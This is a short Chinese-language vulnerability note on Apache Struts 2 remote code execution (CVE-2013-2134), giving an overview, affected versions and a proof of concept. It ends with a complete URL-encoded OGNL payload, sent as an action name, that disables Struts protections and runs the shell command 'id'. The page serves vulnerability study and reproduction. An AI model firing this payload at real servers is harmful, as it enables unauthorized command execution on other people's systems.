跳到主要内容

Apache Struts 2 代码执行 (CVE-2013-2134)

概述

2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过带有在通配符匹配期间未正确处理的精心制作的操作名称的请求执行任意 OGNL 代码,这是与 CVE-2013-2135 不同的漏洞

此漏洞结合了两个问题:

  • 未使用请求的操作名称白名单
  • 如果TextParseUtil.translateVariables$and%字符组合开头,则参数值作为OGNL表达式处理

影响范围

2.0.0 - 2.3.14.2

POC

在实践复现的时候发现,由于 name值的位置比较特殊,一些特殊的字符如 / " 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功

%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%7D.action